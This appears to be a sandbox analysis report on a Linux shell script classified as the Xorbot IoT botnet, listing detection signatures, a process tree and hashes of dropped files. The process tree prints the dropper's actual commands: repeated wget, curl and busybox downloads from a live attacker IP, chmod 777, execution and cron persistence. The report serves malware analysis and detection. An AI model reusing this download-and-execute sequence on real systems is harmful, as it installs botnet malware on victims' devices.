Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/02/2025, 23:12

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250207-26xt1aspet
  • SHA256 ec3c644539692fca8b0cd06bf82d72ae5e43928be58e17dc2cc6ae1297b1b55f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1815) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:644
      • /usr/bin/wget
        wget http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Writes file to tmp directory
        PID:647
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:664
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • Writes file to tmp directory
        PID:671
      • /bin/chmod
        chmod 777 eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
        • File and Directory Permissions Modification
        PID:674
      • /tmp/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        ./eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
        2⤵
          PID:675
        • /bin/rm
          rm eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
          2⤵
            PID:677
          • /usr/bin/wget
            wget http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Writes file to tmp directory
            PID:679
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:680
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • Writes file to tmp directory
            PID:687
          • /bin/chmod
            chmod 777 9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
            • File and Directory Permissions Modification
            PID:690
          • /tmp/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            ./9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
            2⤵
              PID:691
            • /bin/rm
              rm 9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
              2⤵
                PID:695
              • /usr/bin/wget
                wget http://37.44.238.88/bins/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                2⤵
                • Writes file to tmp directory
                PID:697
              • /usr/bin/curl
                curl -O http://37.44.238.88/bins/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:704
              • /bin/busybox
                /bin/busybox wget http://37.44.238.88/bins/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                2⤵
                • Writes file to tmp directory
                PID:729
              • /bin/chmod
                chmod 777 qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                2⤵
                • File and Directory Permissions Modification
                PID:735
              • /tmp/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                ./qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                2⤵
                  PID:736
                • /bin/rm
                  rm qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                  2⤵
                    PID:738
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    2⤵
                    • Writes file to tmp directory
                    PID:739
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:754
                  • /bin/busybox
                    /bin/busybox wget http://37.44.238.88/bins/JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    2⤵
                    • Writes file to tmp directory
                    PID:764
                  • /bin/chmod
                    chmod 777 JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    2⤵
                    • File and Directory Permissions Modification
                    PID:768
                  • /tmp/JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    ./JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                    2⤵
                      PID:769
                    • /bin/rm
                      rm JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                      2⤵
                        PID:772
                      • /usr/bin/wget
                        wget http://37.44.238.88/bins/jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        2⤵
                        • Writes file to tmp directory
                        PID:773
                      • /usr/bin/curl
                        curl -O http://37.44.238.88/bins/jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:779
                      • /bin/busybox
                        /bin/busybox wget http://37.44.238.88/bins/jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        2⤵
                        • Writes file to tmp directory
                        PID:780
                      • /bin/chmod
                        chmod 777 jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        2⤵
                        • File and Directory Permissions Modification
                        PID:781
                      • /tmp/jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        ./jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:782
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:784
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                              • Reads runtime system information
                              PID:785
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:786
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:787
                          • /bin/rm
                            rm jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                            2⤵
                              PID:789
                            • /usr/bin/wget
                              wget http://37.44.238.88/bins/FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                              2⤵
                              • Writes file to tmp directory
                              PID:792
                            • /usr/bin/curl
                              curl -O http://37.44.238.88/bins/FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                              2⤵
                                PID:873
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.88/bins/FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                2⤵
                                • Writes file to tmp directory
                                PID:874
                              • /bin/chmod
                                chmod 777 FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                2⤵
                                • File and Directory Permissions Modification
                                PID:875
                              • /tmp/FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                ./FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                2⤵
                                  PID:876
                                • /bin/rm
                                  rm FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                  2⤵
                                    PID:878
                                  • /usr/bin/wget
                                    wget http://37.44.238.88/bins/L23ebW1DTQABtADCF7kXkaNIUNh9IHena4
                                    2⤵
                                      PID:879
                                    • /usr/bin/curl
                                      curl -O http://37.44.238.88/bins/L23ebW1DTQABtADCF7kXkaNIUNh9IHena4
                                      2⤵
                                      • Checks CPU configuration
                                      PID:880

                                  Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

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                                        Downloads

                                        9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
                                        • Path /tmp/9mng50VmFHNwgIsysO1dl0enfGUriGhMhq
                                        • Size 151KB
                                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                        • Path /tmp/FLj2Tr2LSfDBo29NZqnVvf1MJNYnCq7NyY
                                        • Size 151KB
                                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                                        • Path /tmp/JIHP4K8MHiuD8aILB2tsl1XBk2OCPRyQ52
                                        • Size 117KB
                                        • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
                                        • Path /tmp/eFLEEbzicr2iCPwHD4Hn1Y8Lz533KH7wlV
                                        • Size 112KB
                                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                                        • Path /tmp/jvZAOknYxfH5LWubjGeeQCy3gUQsAfFbeu
                                        • Size 119KB
                                        • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                                        • Path /tmp/qV2y70I4Ldqj0fb9odTN7HHwjVhaod297A
                                        • Size 111KB
                                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                        • MD5 SHA1 SHA512 SSDEEP
                                        Submit Download

                                        tmp.xUUS6U
                                        • Path /var/spool/cron/crontabs/tmp.xUUS6U
                                        • Size 210B
                                        • SHA256 dd44238def7a3f4e2a08faabd98b8515b348890ec447f05885e529daef1dd413
                                        • MD5 SHA1 SHA512
                                        Submit Download